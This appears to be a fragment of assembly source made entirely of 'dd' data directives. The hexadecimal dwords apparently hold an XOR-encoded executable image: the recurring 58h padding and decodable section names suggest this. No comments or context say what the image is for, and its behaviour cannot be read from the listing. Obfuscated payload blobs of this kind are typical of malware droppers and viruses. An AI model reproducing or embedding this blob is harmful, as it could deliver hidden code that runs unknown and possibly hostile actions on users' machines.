dd 5849CE58h, 58485858h, 58A85858h, 58585858h, 58485848h
dd 585A5858h, 58585958h, 58585858h, 58585C58h, 58585858h
dd 49B85858h, 585C5858h, 58585858h, 58585A58h, 48585858h
dd 58485858h, 48585858h, 58485858h, 58585858h, 58584858h
dd 49885858h, 58581458h, 49F85858h, 58599458h, 6 dup(58585858h)
dd 49E85858h, 58435458h, 14h dup(58585858h), 3D2C7658h
dd 58582C20h, 588EDC58h, 58485858h, 588EDC58h, 585C5858h
dd 3 dup(58585858h), 58587858h, 2B3A7638h, 5858582Bh, 48D83058h
dd 58A85858h, 5 dup(58585858h), 5858D858h, 393C7698h, 5858392Ch
dd 5842E058h, 49D85858h, 5842E058h, 58845858h, 3 dup(58585858h)
dd 58581858h, 3C317698h, 58392C39h, 58599458h, 49F85858h
dd 58599458h, 58A05858h, 3 dup(58585858h), 58583858h, 3D2A7698h
dd 583B3734h, 58434C58h, 49E85858h, 58434C58h, 58A45858h
dd 3 dup(58585858h), 58587858h, 3C3D765Ah, 58392C39h, 58581458h
dd 49885858h, 58581458h, 59405858h, 3 dup(58585858h), 58587858h
dd 58585818h, 65h dup(58585858h), 5859E058h, 699B5858h
dd 14D31898h, 19AF5C7Ch, 58585E5Ch, 0D3572C58h, 0D3507C1Ch
dd 0D1487C0Ch, 585BE05Ah, 0B9B5858h, 1CD30F0Eh, 3208487Ch
dd 485E30A6h, 0A73C4858h, 5858586Dh, 7DD13C58h, 58585858h
dd 787C1CD3h, 0D35000D3h, 0A6DB5428h, 63782CA7h, 2C7C7C2Ch
dd 2E6CD542h, 0D3EB54D3h, 0D3507C14h, 24DB5410h, 2D585CEBh
dd 0EB0CA78Fh, 3C89B350h, 58585DD7h, 9CDB5858h, 3060754h
dd 0BDD10D9Bh, 0D0F0E0Bh, 58325832h, 5848C030h, 502DA748h
dd 588DD8B0h, 6070558h, 5B4D103h, 0D10DA49Bh, 50B4DBBDh
dd 0D0F0E0Bh, 0D35405D3h, 18AF501Dh, 58585E5Ch, 0EFDD5758h
dd 0D1585858h, 1DD3A01Dh, 0A41DD148h, 0D1A01DD5h, 2BD3A41Bh
dd 5023D354h, 57A7A6DBh, 5858F0DCh, 2E54D558h, 5CD724DBh
dd 0E252C58h, 4833D50Dh, 0D3B41DD3h, 0FB58D358h, 4849D86Ch
dd 0D3B40DD3h, 0D860FB5Ah, 1AD34849h, 0D864FB5Ch, 0F0E4849h
dd 584CE109h, 65D55858h, 4849D818h, 0D8606DD3h, 0FDAB4849h
dd 0D81865D5h, 65D14849h, 4849D860h, 0A7060701h, 55CD70Ch
dd 5405D306h, 702C9851h, 23D36C20h, 62B00B50h, 0DBA7A7A7h
dd 33D55C9Ch, 0B00B0E48h, 0A7A7A68Bh, 0D5509CDBh, 5CD32E54h
dd 541BD3D7h, 50D70CA7h, 0D55023D3h, 6CD32E54h, 0A73AB1D7h
dd 9869A7A7h, 0D50D41B3h, 0A7324833h, 0A6FDB00Bh, 9CDBA7A7h
dd 0B0533254h, 58588C8Dh, 55C9CDBh, 0D1030607h, 0D9B05B4h
dd 0E0BBDD1h, 5425DB0Fh, 0B05D2D59h, 58585844h, 588BAFB0h
dd 482DA758h, 0A7542DA7h, 58F9502Dh, 0A74849D8h, 3060788h
dd 58549A91h, 0DBBDD10Dh, 320F54B4h, 0B0AE3258h, 58588C05h
dd 32A01DD1h, 0B0AD3258h, 58588C09h, 32A41DD1h, 0B0AC3258h
dd 58588C1Dh, 30AC1DD1h, 4849D846h, 0B0A02DA7h, 58588C71h
dd 49D850FBh, 0D8443048h, 2DA74849h, 8C4FB0A4h, 5CFB5858h
dd 304849D8h, 4849D844h, 0B0AC2DA7h, 58588C5Dh, 0FB689CDBh
dd 4849D854h, 0D85C65D3h, 0A7514849h, 5832532Ch, 8C6BB00Fh
dd 9CDB5858h, 5465D350h, 514849D8h, 32482CA7h, 46B00F58h
dd 0DB58588Ch, 5EB0509Ch, 7585858h, 0C8C89B91h, 0BDD10DC8h
dd 0B4CB4DBh, 1D9F0F0Eh, 585858ACh, 8BC3B058h, 9BD15858h
dd 0B3A805D1h, 6563D844h, 1DA75B2Ch, 6987D1ACh, 9141A198h
dd 81AFF6AAh, 0D1A619D5h, 44D51F9Fh, 5863D863h, 25D3872Dh
dd 64D51FACh, 585858E5h, 0B425D158h, 0B0B42DA7h, 58588BFDh
dd 0A01DD101h, 49D848FBh, 0A025DB48h, 695C2D58h, 0D305B398h
dd 1DB3A805h, 986987D1h, 0AA9141A1h, 0D581AFF6h, 9FD1A619h
dd 0A425D11Fh, 2C6563D8h, 0A42DA77Eh, 588B34B0h, 2DD30158h
dd 515ED1A0h, 0B35A2D98h, 25D30B73h, 0B06FA7A0h, 58588B21h
dd 0DB509CDBh, 0D35CA01Dh, 44D5A40Dh, 5863D84Bh, 0DD3EE2Dh
dd 585A9FA0h, 0E0585858h, 58585859h, 91030607h, 0BDD10D9Bh
dd 5B7CB4D9h, 0E0B5858h, 5425DB0Fh, 74DC5758h, 0D3585849h
dd 58D2501Dh, 502C6C64h, 0DD576D64h, 58584943h, 0D1501DD3h
dd 0A790DB99h, 5964D818h, 0D1A12D58h, 0A7A680DDh, 344DD3A7h
dd 0DB4849D9h, 4D5B5C9Ah, 4849D92Ch, 492C8861h, 0D8FC4DD3h
dd 9ADB4849h, 57886154h, 5848BADDh, 45E75758h, 4849D8CCh
dd 0B35AB3DBh, 5868E07Ch, 0BBAF5858h, 0A5F8DDD1h, 1DD3A7A7h
dd 0F8CDD354h, 61A7A7A5h, 6D084D5Ch, 0DC574851h, 585848EBh
dd 0D8C8F91Bh, 98DB4849h, 0C45D5B04h, 614849D9h, 0F9922A9Bh
dd 4849D9A4h, 614B98DBh, 0A7A680DDh, 98DD57A7h, 0D3585859h
dd 18D2501Dh, 2C756456h, 57786450h, 584822DDh, 501DD358h
dd 645118D2h, 64502C75h, 30DD5778h, 0D3585848h, 18D2501Dh
dd 2C75645Ch, 57786450h, 58480EDDh, 0D918F958h, 98DB4849h
dd 4DE75754h, 4849DA50h, 0DD38859h, 490AD250h, 595DCCD0h
dd 57A7A7A7h, 0D91C5DE7h, 0DD34849h, 500AD250h, 5C5DCCD0h
dd 0F9A7A7A7h, 4849D9D8h, 0D2500DD3h, 0CCD0520Ah, 0A7A7515Dh
dd 0D984F9A7h, 98DB4849h, 4DE7575Fh, 4849D89Ch, 0DD38859h
dd 480AD250h, 595DCCD0h, 0F9A7A7A7h, 4849D944h, 0D9285D5Bh
dd 0DD34849h, 5F0AD250h, 595DCCD0h, 0F9A7A7A7h, 4849D978h
dd 0D2500DD3h, 0CCD0570Ah, 0A7A75D5Dh, 5DE757A7h, 4849D8F0h
dd 0D2500DD3h, 0CCD0540Ah, 0A7A7535Dh, 5DE757A7h, 4849D964h
dd 404DE757h, 594849DAh, 500DD388h, 0D05E0AD2h, 0A6A55DCCh
dd 0B8F9A7A7h, 574849D8h, 0D8EC4DE7h, 88594849h, 0D2500DD3h
dd 5DCCD04Ah, 0A7A7A6AEh, 49D9ECF9h, 4DE75748h, 4849D970h
dd 0D05DB2DBh, 0A7555DCCh, 0F4F9A7A7h, 5B4849D9h, 49D8905Dh
dd 500DD348h, 0D05B0AD2h, 0A7595DCCh, 0C8F9A7A7h, 0DB4849D8h
dd 0E7575C98h, 49D9C04Dh, 0D3885948h, 0AD2500Dh, 5DCCD053h
dd 0A7A7A759h, 49D9E4F9h, 500DD348h, 0D04A0AD2h, 0A7525DCCh
dd 54F9A7A7h, 0D34849DAh, 0AD2500Dh, 5DCCD05Dh, 0A7A7A759h
dd 49D9F4F9h, 4DE75748h, 4849DA48h, 0DD38859h, 5A0AD250h
dd 0A45DCCD0h, 57A7A7A6h, 0D91C5DE7h, 0DD34849h, 550AD250h
dd 505DCCD0h, 0F9A7A7A7h, 4849D9B4h, 0D2500DD3h, 0CCD0590Ah
dd 0A7A6A75Dh, 0A757B3A7h, 0DDD5502Dh, 0A7A7A759h, 8873B008h
dd 6DD35858h, 4849D9D4h, 0D24DB316h, 0A7596DDCh, 6864A7A7h
dd 61645C24h, 0F8B15D26h, 1E585856h, 49D90CF9h, 5B98DB48h
dd 704DE757h, 594849D9h, 2A9E6188h, 0D8F4F98Eh, 0B0DB4849h
dd 0A0DDD15Fh, 0D3A7A7A6h, 49D9A46Dh, 571EB348h, 596DDCE6h
dd 0DBA7A7A7h, 4DD368B0h, 4849D890h, 9AF7571Ah, 0A6A0DD59h
dd 0E4D8A7A7h, 0A7A7596Dh, 56266CA7h, 49D938F9h, 5A98DB48h
dd 0A6A0DD71h, 28F9A7A7h, 574849D9h, 0D89C4DE7h, 88594849h
dd 5950B0DBh, 0D8E4F99Eh, 98DB4849h, 2A9E6148h
dd 0DA78F9F6h, 9BD14849h, 0D90C455Bh, 0B3DB4849h, 5743B351h
dd 5945DCE6h, 0DBA7A7A7h, 0DD5968B0h, 0A7A7A6A0h, 945DE757h
dd 184849D8h, 0E7579B59h, 49D9C05Dh, 704DD348h, 0D54849DAh
dd 615F481Ch, 0D3882A9Bh, 0A7A6A0DDh, 5852E1A7h, 8A695858h
dd 65D3A9AFh, 4849DA60h, 0AC45E757h, 594849D8h, 5AB7DB87h
dd 0DD57A261h, 585855EFh, 0A759DDD5h, 0A708A7A7h, 49022C4Dh
dd 98510148h, 55F9DD57h, 6DD35858h, 4849D9B8h, 0D35CB6DBh
dd 49DA606Dh, 0E073B348h, 58585868h, 0DDD1BEAFh, 0A7A7A5C4h
dd 49D918F9h, 85D5B48h, 0DB4849D9h, 0CDD35DB0h, 0A7A7A5C4h
dd 84D5C61h, 2C48516Dh, 0E7571E57h, 49D9FC5Dh, 698DB48h
dd 9F2A9E61h, 605DE757h, 0D34849D9h, 49DA744Dh, 481CD548h
dd 579E6102h, 585566DCh, 5868E058h, 0BEAF5858h, 0A5C0DDD1h
dd 1DD3A7A7h, 0C0CDD354h, 0D1A7A7A5h, 6D084D5Ch, 0E9304851h
dd 0B04849C1h, 58587BF0h, 0F465D301h, 574849D8h, 0D99C45E7h
dd 87594849h, 0F57B7DBh, 65E75708h, 4849DA48h, 0F5DB7DBh
dd 0A7542DA7h, 5501684Dh, 94DDD148h, 0D3A7A7A6h, 49D9A055h
dd 5BB1DB48h, 512D9061h, 0D1541DD3h, 0A7A694DDh, 0C1FC30A7h
dd 1B04849h, 858587Bh, 0A694EDA7h, 97B0A7A7h, 0D15858EAh
dd 0A7A68CDDh, 0C1C030A7h, 65B04849h, 858587Bh, 0A68CEDA7h
dd 0EBB0A7A7h, 0D15858EAh, 5868E09Fh, 0BEAF5858h, 0A5CCDDD1h
dd 9BD1A7A7h, 0C4564D1h, 3248516Dh, 5868E058h, 0BEAF5858h
dd 0A5C8DDD1h, 6CA7A7A7h, 516D0C5Dh, 4DA748h, 0F9484901h
dd 4849D988h, 85FB0DBh, 7DC04DA7h, 0DDD14859h, 0A7A7A6ACh
dd 0A6BCDDD5h, 0A708A7A7h, 0A7A68CEDh, 84DA7A7h, 30484901h
dd 4849C1D6h, 587A93B0h, 449CDB58h, 0D99865D3h, 0F174849h
dd 0A6ACEDA7h, 0E757A7A7h, 49D9CC65h, 45E75748h, 4849D9A8h
dd 0B7DB8759h, 0EDA70F5Fh, 0A7A7A68Ch, 0A6A8E5D3h, 0E573A7A7h
dd 0A7A7A6B0h, 0B4E5D30Fh, 73A7A7A6h, 0A7A6BCE5h, 0E7570FA7h
dd 49D96465h, 51B7DB48h, 5465D30Fh, 0DB4849D9h, 300F5AB7h
dd 8D85858h, 0A759E5D5h, 80FA7A7h, 585A5830h, 644DA758h
dd 0D1485111h, 5868E09Fh, 0BEAF5858h, 0A5D4DDD1h, 9BD1A7A7h
dd 4564D1h, 0D348516Dh, 0A7A6B4DDh, 0BCDD73A7h, 0D3A7A7A6h
dd 49D9B84Dh, 719ADB48h, 0DDD18871h, 0A7A7A6B8h, 0A6A8E5D3h
dd 0E573A7A7h, 0A7A7A6B0h, 0D98C45D3h, 9BD94849h, 585858AAh
dd 45D38771h, 4849DA5Ch, 0D1629BDBh, 698071A0h, 5798DD8Ah
dd 88599AC4h, 0DDD1A089h, 0A7A7A684h, 0DA6C4DD3h, 4D5B4849h
dd 4849D9DCh, 6154B2DBh, 574E2588h, 0D8A05DE7h, 5D5B4849h
dd 4849DA60h, 0D15CB0DBh, 0A7A684DDh, 0C1DC30A7h, 0E1B04849h
dd 0D1585879h, 0A7A5D0DDh, 0C1D830A7h, 0F1B04849h, 0D1585879h
dd 0A7A5DCDDh, 7865D3A7h, 5B4849DAh, 49D91865h, 5BB7DB48h
dd 0ACEDA70Fh, 0D3A7A7A6h, 49D89065h, 0E00F1748h, 58585868h
dd 0DDD1BEAFh, 0A7A7A5D8h, 6CA79FD1h, 516D0065h, 65E75748h
dd 4849D960h, 58AF9FD9h, 0A70F5858h, 0A7A6B8EDh, 84E5D3A7h
dd 0D3A7A7A6h, 49D9D045h, 6E9BDB48h, 104DE757h, 594849D9h
dd 5787598Bh, 0D8A445E7h, 59134849h, 65D30F87h, 4849D90Ch
dd 5B5D9FDBh, 49D8F465h, 51300F48h, 0D308D858h, 0A7A5DCE5h
dd 0E5D30FA7h, 0A7A7A5D0h, 65E7570Fh, 4849D8A0h, 0F5DB7DBh
dd 11644DA7h, 0DDD14851h, 0A7A7A690h, 49C12E30h, 78AAB048h
dd 0DDD15858h, 0A7A7A524h, 49C10530h, 78BAB048h, 0DDD15858h
dd 0A7A7A520h, 0D97C65D3h, 0E7574849h, 49D8A445h, 0DB875948h
dd 0A70F5CB7h, 0A7A6ACEDh, 65E757A7h, 4849D910h, 9445E757h
dd 594849D9h, 52B7DB87h, 5868E00Fh, 0BEAF5858h, 0A52CDDD1h
dd 9FD1A7A7h, 656CA7h, 0D348516Dh, 49D9F465h, 699FDB48h
dd 0DA14655Bh, 0A70F4849h, 0A7A6B8EDh, 84EDA7A7h, 57A7A7A6h
dd 0D95C65E7h, 45D34849h, 4849DA44h, 484724D5h, 5858300Fh
dd 0E5D308D8h, 0A7A7A520h, 24E5D30Fh, 0FA7A7A5h, 0DA4C65D3h
dd 0B7DB4849h, 4DA70F5Bh, 48511164h, 0A69CDDD1h, 0B0F9A7A7h
dd 104849D8h, 325A3208h, 32583258h, 5759325Dh, 0D9C05DE7h
dd 4DD34849h, 4849DA70h, 0B2DB9A59h, 4DD30A51h, 4849D924h
dd 0DA5C4D5Bh, 0B2DB4849h, 4DD30A51h, 4849D9C4h, 0A5CB2DBh
dd 585AE430h, 0F84DD358h, 5B4849D8h, 49D92C4Dh, 52B2DB48h
dd 0E46DA70Ah, 5B4849D8h, 49D90C5Dh, 0F9081048h, 4849D9BCh
dd 84898DBh, 6A784DA7h, 0DDD14851h, 0A7A7A698h, 32085932h
dd 9CEDA768h, 0A7A7A7A6h, 58A8404Dh, 0C10B3048h, 0E9B04849h
dd 0D1585847h, 0A7A528DDh, 0C11630A7h, 0F9B04849h, 0DB585847h
dd 65D3409Ch, 4849D968h, 0EDA70F17h, 0A7A7A6ACh, 0D96C65D3h
dd 0B7DB4849h, 0EDA70F5Ah, 0A7A7A690h, 0D8F865D3h, 9FD94849h
dd 585858AAh, 4845E757h, 594849DAh, 0C045D387h, 5B4849D8h
dd 49DA1045h, 51B3DB48h, 0D30F8771h, 0A7A6B8E5h, 0C45D3A7h
dd 5B4849D9h, 49DA4C45h, 5FB3DB48h, 570F8771h, 0D91065E7h
dd 655B4849h, 4849D9BCh, 0F5CB7DBh, 0D95065D3h, 0B7DB4849h
dd 58300F5Fh, 8085858h, 0A528E5D3h, 0D30FA7A7h, 49DA6C65h
dd 28655B48h, 0DB4849D9h, 0A70F54B7h, 5111644Dh, 0E09FD148h
dd 58585868h, 0DDD1BEAFh, 0A7A7A534h, 64D19BD1h, 516D0445h
dd 0DA54F948h, 5D5B4849h, 4849D92Ch, 0AE5DE4D8h, 6CA7A7A6h
dd 1E30422Dh, 0B04849C1h, 58584694h, 0E5D50801h, 0A7A7A6F4h
dd 91C3B00Fh, 40B35858h, 49C16030h, 46EAB048h, 8015858h
dd 0A6F4E5D5h, 0B00FA7A7h, 585891D9h, 49C09E30h, 46C2B048h
dd 0E5D55858h, 0A7A7A759h, 0F4E5D50Fh, 0FA7A7A6h, 0F5E5D508h
dd 0FA7A7A5h, 1704DA7h, 0E4304855h, 0B04849C0h, 5858462Ch
dd 0A530DDD1h, 65D3A7A7h, 4849D930h, 0D9B8655Bh, 0B7DB4849h
dd 0EDA70F5Eh, 0A7A7A6ACh, 0DA606DA7h, 68E04849h, 0AF585858h
dd 3CDDD1BEh, 0D1A7A7A5h, 656CA79Fh, 48516D04h, 0D98C65D3h
dd 9FDB4849h, 0EDA70F70h, 0A7A7A6B8h, 0FC65E757h, 0DB4849D9h
dd 0D30F5C9Fh, 49D8B465h, 45E75748h, 4849D964h, 300F8759h
dd 8585858h, 0A5F5E5D5h, 0D30FA7A7h, 0A7A530E5h, 0E7570FA7h
dd 49D8A065h, 58655B48h, 0DB4849DAh, 0A70F52B7h, 5111644Dh
dd 0F0DDD148h, 57A7A7A5h, 0D99C5DE7h, 5D5B4849h, 4849D8FCh
dd 857B0DBh, 58325A32h, 5D325832h, 5CF95932h, 5B4849DAh
dd 49D9185Dh, 5BB0DB48h, 5DE75708h, 4849D910h, 0D9485D5Bh
dd 0B0DB4849h, 0F90852h, 0DB4849D9h, 30085BB0h, 585859C8h
dd 3C5DE757h, 104849D9h, 0DA6CF908h, 5D5B4849h, 4849D978h
dd 848B0DBh, 0A05DE757h, 574849D8h, 0D8944DE7h, 88594849h
dd 0D8B8F908h, 98DB4849h, 4DA70852h, 48516A78h, 0A688DDD1h
dd 5932A7A7h, 0A7683208h, 0A7A5F0EDh, 404DA7A7h, 304858A8h
dd 4849C0E8h, 584567B0h, 38DDD158h, 30A7A7A5h, 4849C0F4h
dd 584577B0h, 4DDD158h, 0D3A7A7A5h, 49D8C865h, 5CB7DB48h
dd 0ACEDA70Fh, 57A7A7A6h, 0DA1865E7h, 0E7574849h, 49D9B045h
dd 0DB875948h, 0E00F57B7h, 58585868h, 0DDD1BEAFh, 0A7A7A500h
dd 6CA79FD1h, 516D0465h, 7865D348h, 0D94849D9h, 58597C9Fh
dd 0E7570F58h, 49D99465h, 0E445D348h, 0D54849D9h, 0F754724h
dd 0D95465D3h, 9FDB4849h, 65D30F11h, 4849D900h, 0F1B9FDBh
dd 0D8585B30h, 4E5D308h
dd 0FA7A7A5h, 0A538E5D3h, 0D30FA7A7h, 49D9B865h, 5CB7DB48h
dd 644DA70Fh, 0D1485111h, 5868E09Fh, 0BEAF5858h, 0A50CDDD1h
dd 9BD1A7A7h, 3C4564D1h, 3048516Dh, 4849C0F8h, 58442FB0h
dd 8DDD158h, 30A7A7A5h, 4849C0C4h, 58443FB0h, 709CDB58h
dd 0A514DDD1h, 65D3A7A7h, 4849D998h, 4045E757h, 594849D9h
dd 51B7DB87h, 0ACEDA70Fh, 0D3A7A7A6h, 49D93865h, 5FB7DB48h
dd 5868E00Fh, 0BEAF5858h, 0A510DDD1h, 9FD1A7A7h, 4656CA7h
dd 0D348516Dh, 49D90C65h, 459FD948h, 5B585859h, 49D9E865h
dd 65D30F48h, 4849DA58h, 5B7E9FDBh, 49DA7465h, 65D30F48h
dd 4849D8C0h, 5B629FDBh, 49D97865h, 0E7570F48h, 49D9CC65h
dd 45E75748h, 4849D9FCh, 5B4724D5h, 585B300Fh, 0E5D308D8h
dd 0A7A7A514h, 8E5D30Fh, 0FA7A7A5h, 0D8F465D3h, 0B7DB4849h
dd 4DA70F5Fh, 48511164h, 68E09FD1h, 0AF585858h, 1CDDD1BEh
dd 0D1A7A7A5h, 4564D19Bh, 48516D38h, 49D9D8F9h, 4DE75748h
dd 4849D8A4h, 3E108859h, 0A6A6DDD1h, 9CB1A7A7h, 30585858h
dd 4849C0CCh, 584327B0h, 0E5EF5758h, 0A7A7A6A6h, 0E5D5080Fh
dd 0A7A7A562h, 704DA70Fh, 0D5485501h, 0A7A562DDh, 24F908A7h
dd 5B4849D9h, 49D9445Dh, 51B0DB48h, 591B3008h, 68E05858h
dd 0AF585858h, 6CDDD1BEh, 0A7A7A7A5h, 6D385D6Ch, 4DA74851h
dd 4858A840h, 49C0D230h, 4372B048h, 0EF575858h, 0A7A6A6E5h
dd 0C445D3A7h, 0DB4849D9h, 87595B9Bh, 0E5D5080Fh, 0A7A7A562h
dd 704DA70Fh, 0DB485501h, 0DDD5789Ch, 0A7A7A562h, 5DE75708h
dd 4849DA50h, 484DE757h, 594849DAh, 5EB0DB88h, 591B3008h
dd 68E05858h, 0AF585858h, 68DDD1BEh, 0A7A7A7A5h, 6D3C5D6Ch
dd 4DA74851h, 4858A840h, 0A6DDA73Eh, 57A7A7A6h, 0A6A6DDEFh
dd 0E757A7A7h, 49D9F04Dh, 559ADB48h, 0D4578861h, 0A7A7A77Bh
dd 49C0DA30h, 42FAB048h, 0DDD15858h, 0A7A7A518h, 49C02630h
dd 42CAB048h, 0DDD15858h, 0A7A7A564h, 0DA5865D3h, 655B4849h
dd 4849DA14h, 0F56B7DBh, 0A6ACEDA7h, 65D3A7A7h, 4849D88Ch
dd 0DA4C655Bh, 0B7DB4849h, 68E00F50h, 0AF585858h, 60DDD1BEh
dd 0D1A7A7A5h, 656CA79Fh, 48516D04h, 0D8FC65D3h, 9FDB4849h
dd 65D30F49h, 4849D880h, 5B129FDBh, 49D8E865h, 65D30F48h
dd 4849DA78h, 0F229FDBh, 0A065E757h, 0D34849D8h, 49D92C45h
dd 4724D548h, 58300F7Bh, 0D308D858h, 0A7A564E5h, 0E5D30FA7h
dd 0A7A7A518h, 5A58300Fh, 4DA75858h, 48511164h, 68E09FD1h
dd 0AF585858h, 6CDDD1BEh, 0D1A7A7A5h, 4564D19Bh, 48516D30h
dd 945DE757h, 104849D8h, 30003208h, 58585894h, 585868E0h
dd 0D1BEAF58h, 0A7A568DDh, 5D6CA7A7h, 48516D30h, 0A8404DA7h
dd 2C304858h, 0B04849C0h, 585841E8h, 0A574DDD1h, 0A30A7A7h
dd 0B04849C0h, 585841F8h, 0A570DDD1h, 65D3A7A7h, 4849D930h
dd 0F5AB7DBh, 0A6ACEDA7h, 65D3A7A7h, 4849D984h, 0D88C655Bh
dd 0B7DB4849h, 68E00F5Dh, 0AF585858h, 7CDDD1BEh, 0D1A7A7A5h
dd 656CA79Fh, 48516D04h, 0D95465D3h, 9FDB4849h, 68655B65h
dd 0F4849DAh, 0A6B8EDA7h, 0E757A7A7h, 49D8A065h, 7C45D348h
dd 0D54849DAh, 0F114724h, 0D99865D3h, 9FD94849h, 585858CBh
dd 0D97C655Bh, 300F4849h, 8585858h, 0A570E5D3h, 0D30FA7A7h
dd 0A7A574E5h, 65D30FA7h, 4849D880h, 0F5EB7DBh, 11644DA7h
dd 0DDD14851h, 0A7A7A5FCh, 0EDA75932h, 0A7A7A688h, 0A7086832h
dd 58A8404Dh, 0C0103048h, 0BDB04849h, 0D1585840h, 0A7A578DDh
dd 0C07630A7h, 8DB04849h, 0DB585840h, 0DDD1409Ch, 0A7A7A544h
dd 0D95865D3h, 0B7DB4849h, 0EDA70F51h, 0A7A7A6ACh, 0D96865D3h
dd 655B4849h, 4849D9ACh, 0F52B7DBh, 585868E0h, 0D1BEAF58h
dd 0A7A540DDh, 0A79FD1A7h, 6D04656Ch, 65D34851h, 4849D88Ch
dd 0F4A9FDBh, 0DA6865D3h, 0A3D14849h, 58C29BD9h, 0D30B5858h
dd 49D90C45h, 0A99BD948h, 59585858h, 65E757A3h, 4849D9C8h
dd 0D9F84DD3h, 24D54849h, 0A3714B4Fh, 65E7570Bh, 4849D960h
dd 0F5F9FDBh, 0D8585830h, 44E5D308h, 0FA7A7A5h, 0A578E5D3h
dd 0D30FA7A7h, 49DA4C65h, 8C655B48h, 0DB4849D9h, 0A70F53B7h
dd 5111644Dh, 0E09FD148h, 58585868h, 0DDD1BEAFh, 0A7A7A54Ch
dd 64D19BD1h, 516D3445h, 0A7593248h, 0A7A688EDh, 5868E0A7h
dd 68325858h, 0DDD1BEAFh, 0A7A7A548h, 345D6CA7h, 0A748516Dh
dd 58A8404Dh, 0E0A43248h, 58585868h, 0DDD1BEAFh, 0A7A7A554h
dd 0A550DDD1h, 6CA7A7A7h, 516D045Dh, 4C4DA748h, 0D3485101h
dd 0A7A550E5h, 655CD1A7h, 48516D24h, 58D54230h, 0E0A43248h
dd 58585868h, 0DDD1BEAFh, 0A7A7A55Ch, 45D6CA7h, 0A748516Dh
dd 597DF44Dh, 0E0A43248h, 58585868h, 0DDD1BEAFh, 0A7A7A558h
dd 0A4A4DDD1h, 6CA7A7A7h, 516D305Dh, 4C4DA748h, 0D3485101h
dd 0A7A4A4E5h, 655CD1A7h, 48516D20h, 58D54230h, 0E0A43248h
dd 58585868h, 0DDD1BEAFh, 0A7A7A4A0h, 305D6CA7h, 0A748516Dh
dd 597DF44Dh, 0E0A43248h, 58585868h, 0DDD1BEAFh, 0A7A7A4ACh
dd 0A4A8DDD1h, 6CA7A7A7h, 516D3C5Dh, 4C4DA748h, 0D3485101h
dd 0A7A4A8E5h, 655CD1A7h, 48516D2Ch, 58D54230h, 0E0A43248h
dd 58585868h, 0DDD1BEAFh, 0A7A7A4B4h, 3C5D6CA7h, 0A748516Dh
dd 597DF44Dh, 0E0A43248h, 58585868h, 0DDD1BEAFh, 0A7A7A4B0h
dd 0A4BCDDD1h, 6CA7A7A7h, 516D385Dh, 4C4DA748h, 0D3485101h
dd 0A7A4BCE5h, 655CD1A7h, 48516D28h, 58D54230h, 0E0A43248h
dd 58585868h, 0DDD1BEAFh, 0A7A7A4B8h, 385D6CA7h, 0A748516Dh
dd 597DF44Dh, 5868E048h, 0BEAF5858h, 0A484DDD1h, 6CA7A7A7h
dd 516D385Dh, 0A44DA748h, 7485D71h, 9B910306h, 9BDD10Dh
dd 0D30F0E0Bh, 6DD35005h, 4849D978h, 5750B6DBh, 0D9C065E7h
dd 0B3174849h, 4CEF5708h, 5415D323h, 2154EF57h, 0AA719271h
dd 57A40DD1h, 0D8885DE7h, 0B0DB4849h, 259A615Eh, 0D974F947h
dd 0A05D4849h, 595858A7h, 0CF9A41Dh, 0D14849D9h, 546D5B9Eh
dd 0DB4849D9h, 51B351B6h, 0D8E06DD3h, 0B6DB4849h, 0A40DD35Ch
dd 234CD13Eh, 0DA78F91Fh, 98DB4849h, 2A9F6146h, 30607FCh
dd 0D10D9B91h, 25D30FBDh, 401DD354h, 401DD13Eh, 49D968F9h
dd 58A15D48h, 9F615858h, 2DA7552Dh, 0CC39B044h, 69015858h
dd 0F978B398h, 4849D914h, 5859595Dh, 2D9F6158h, 442DA755h
dd 580CABB0h, 98690158h, 5BE05DB3h, 7D85A58h, 587C9A05h
dd 581859E0h, 58489AD8h, 30BDD10Dh, 48493764h, 71A04DA7h
dd 64F9485Dh, 5484937h, 0D585C9Ah, 0E0BBDD1h, 542DD30Fh
dd 304825D3h, 4849C2C0h, 644DA70Eh, 51485501h, 0D3482C98h
dd 5FD1501Dh, 40D36FA7h, 695C0BA7h, 3017B398h, 4849C240h
dd 644DA70Eh, 51485501h, 0D3482C98h, 5FD1501Dh, 40D36FA7h
dd 695C0BA7h, 3077B398h, 4849C1B0h, 644DA70Eh, 51485501h
dd 0D3482C98h, 5FD1501Dh, 40D36FA7h, 695C0BA7h, 0F957B398h
dd 4849D9ECh, 0D15CB0DBh, 185AE05Fh, 607D858h, 549A0503h
dd 0BDD10D58h, 5B7850E0h, 0E797B058h, 0E0B5858h, 0D938F90Fh
dd 0B0DB4849h, 44DDD15Fh, 0A7A7A4B9h, 2DA7482Dh, 6DDDD554h
dd 8A7A4B9h, 104C4DA7h, 9CDB4851h, 0D97CF954h, 0B0DB4849h
dd 0E757085Ah, 49D9705Dh, 5DB0DB48h, 0F95B3208h, 4849D890h
dd 10F90810h, 574849DAh, 0D9F04DE7h, 88594849h, 85CB0DBh
dd 58585930h, 502DA798h
dd 33404DA7h, 0DDD14849h, 0A7A7B7D4h, 2DA7A0DBh, 44DDA77Eh
dd 0F9A7A4B9h, 4849D954h, 44DD6110h, 2DA7A4B9h, 502DA753h
dd 581B80B0h, 0C1B30158h, 20B19869h, 0F958584Ch, 4849D92Ch
dd 0D88C5D5Bh, 0B0DB4849h, 0EDA70854h, 0A7A7B7D4h, 1484DA7h
dd 1DD14851h, 480DD3A8h, 0A748DCD5h, 85859A7h, 4DA75832h
dd 485D71B4h, 57A41DD1h, 0D9705DE7h, 0B0DB4849h, 0DDD5085Dh
dd 0A7A4B978h, 0A82DA708h, 0A7A42DA7h, 0A7B7D4EDh, 6C4DA7A7h
dd 0D34858A8h, 18D3A41Dh, 98DDD164h, 0D3A7A7AFh, 0A4B978DDh
dd 58A075A7h, 0DD615858h, 0A7A7AF98h, 4BBEDF57h, 0DDD35858h
dd 0A7A7AF98h, 0D1A41D5Bh, 0EF57A01Dh, 1D086558h, 0DD575858h
dd 58584B94h, 57A01DD3h, 0D30418EFh, 49D8844Dh, 804D5B48h
dd 0DB4849D8h, 886151B2h, 4BF6DC57h, 0FDDB5858h, 0A7A7B624h
dd 0A01DD358h, 1C08EF57h, 0D9D055D3h, 99DB4849h, 2D926150h
dd 5C4DD364h, 5B4849DAh, 49D9384Dh, 8D01248h, 58A2D842h
dd 0EF577F2Ch, 0DDD11E18h, 0A7A4B954h, 885DE757h, 614849D8h
dd 0A4B954DDh, 39DB57A7h, 9F58584Bh, 0A7B624DDh, 585859A7h
dd 24E5DB58h, 58A7A7B6h, 28F9172Ch, 574849D9h, 0D8CC4DE7h
dd 88594849h, 0B954DD61h, 412BA7A4h, 0DBA01DD3h, 0EF575E98h
